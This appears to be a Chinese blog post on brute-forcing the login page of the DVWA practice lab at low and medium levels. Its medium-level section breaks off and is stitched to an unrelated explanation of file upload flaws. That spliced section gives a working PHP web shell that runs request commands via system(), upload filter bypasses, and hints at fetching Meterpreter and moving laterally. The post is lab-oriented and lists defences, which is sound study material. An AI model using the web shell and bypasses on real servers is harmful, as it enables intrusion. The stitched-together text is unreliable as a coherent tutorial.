DVWA靶场-暴力破解

暴力破解难度升级

暴力破解

低级

因为等级比较低,我们上来直接抓包暴力破解:
在这里插入图片描述
选择攻击模块
在这里插入图片描述
分别为变量1,2选择字典,这里是我手工创建了两个简单的账号密码字典load直接导入,直接添加其他方法都行
在这里插入图片描述
成功
在这里插入图片描述

中级

我们查看一下源代码,对比低级别发现做了限制如下

mysqli_real_escape_string()函数:会对特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义,作用是抵御了SQL注入
sleep( 2 ):这个意思就是如果登录失败的话,就会延迟两秒后才能提交。
DVWA(Damn Vulnerable Web Application)中,文件上传漏洞的练习是安全测试和渗透测试的重要组成部分。该漏洞通常允许攻击者上传恶意文件(如Web Shell)到服务器上,并通过特定路径访问这些文件以执行任意代码。 ### 文件上传漏洞的利用原理 DVWA中的文件上传漏洞设计是为了模拟现实世界中常见的错误配置或开发缺陷。例如: - **绕过客户端检查**:某些应用程序仅依赖JavaScript进行文件类型验证,而这种检查可以被轻易绕过。 - **服务端过滤不严格**:即使有后端验证机制,也可能存在黑名单不完整、未正确解析MIME类型或文件扩展名处理不当等问题。 - **可预测的上传路径**:攻击者可以通过猜测上传文件的路径来访问恶意文件。 ### 利用步骤 1. **准备恶意文件**:创建一个包含PHP代码的Web Shell,例如: ```php <?php if (isset($_REQUEST['cmd'])) { echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; } ?> ``` 将此代码保存为`shell.php`或其他看似合法的文件名(如`.jpg`扩展名但实际内容为PHP脚本)[^1]。 2. **上传文件**:登录DVWA并导航到文件上传模块。尝试上传准备好的文件。如果系统阻止了上传,可以通过以下方式绕过限制: - 修改文件扩展名(如`.phtml`或`.php5`)。 - 使用双扩展名(如`shell.php.jpg`)。 - 在请求中修改MIME类型为`image/jpeg`。 3. **访问上传文件**:成功上传后,通过浏览器访问上传的文件。例如,访问`http://dvwa/upload/shell.php?cmd=id`以执行命令并查看结果。 4. **进一步利用**:一旦获得远程代码执行权限,可以尝试下载更多工具(如Meterpreter)、读取敏感文件或进一步横向移动。 ### 防御措施 为了防止文件上传漏洞,开发者应采取以下措施: - **严格验证文件类型**:使用白名单验证上传文件的扩展名和MIME类型。 - **重命名上传文件**:避免用户控制文件名,随机生成文件名。 - **隔离上传目录**:将上传目录设置为不可执行脚本的区域。 - **限制文件大小**:防止资源耗尽攻击。 ### 示例代码 以下是DVWA中用于处理文件上传的简化版PHP代码片段: ```php <?php $target_dir = "uploads/"; $target_file = $target_dir . basename($_FILES["uploaded"]["name"]); $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION)); // Check if file is an image if (isset($_POST["submit"])) { $check = getimagesize($_FILES["uploaded"]["tmp_name"]); if ($check !== false) { // File is an image if (move_uploaded_file($_FILES["uploaded"]["tmp_name"], $target_file)) { echo "The file " . htmlspecialchars(basename($_FILES["uploaded"]["name"])) . " has been uploaded."; } else { echo "Sorry, there was an error uploading your file."; } } else { echo "File is not an image."; } } ?> ``` 此代码虽然检查了文件是否为图像,但由于缺乏严格的扩展名验证,仍可能被绕过。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值